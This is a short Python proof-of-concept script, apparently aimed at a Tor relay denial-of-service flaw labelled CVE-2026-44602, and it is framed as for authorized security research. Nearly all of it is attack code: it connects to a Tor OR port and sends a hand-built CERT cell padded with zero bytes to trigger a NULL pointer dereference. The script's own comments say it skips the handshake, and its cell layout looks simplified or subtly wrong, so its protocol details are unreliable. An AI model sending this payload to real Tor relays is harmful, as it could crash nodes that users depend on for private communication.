The following code is for security research and authorized testing only.
python
import socket
import struct
# This is a conceptual PoC. Actual Tor cell construction requires specific protocol knowledge.
# CVE-2026-44602: Tor NULL Pointer Dereference via Out-of-order CERT Cell
def send_tor_cell(target_ip, target_port):
try:
# Establish TCP connection to Tor OR port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# In a real exploit, you would need to perform the version negotiation/relay handshake first.
# Then send a CERT cell (Circuit ID + Cell Type) in an unexpected order.
# Concept: Sending a malformed CERT cell payload
# Cell type for CERT is typically 129 (0x81)
# This payload attempts to trigger the logic flaw by sending data that forces a NULL read.
circuit_id = 0
cell_type = 129 # CERT cell
payload = b"\x00" * 509 # Payload length 509 bytes
# Construct the cell header (simplified)
# Tor uses a specific link protocol versioning, this is a generic representation
cell_header = struct.pack("!H", circuit_id) + struct.pack("!B", cell_type)
print(f"[*] Sending out-of-order CERT cell to {target_ip}:{target_port}")
s.send(cell_header + payload)
response = s.recv(1024)
print(f"[+] Received response (if any): {response}")
except Exception as e:
print(f"[-] Error: {e}")
finally:
s.close()
# Usage
# send_tor_cell("192.168.1.100", 9001)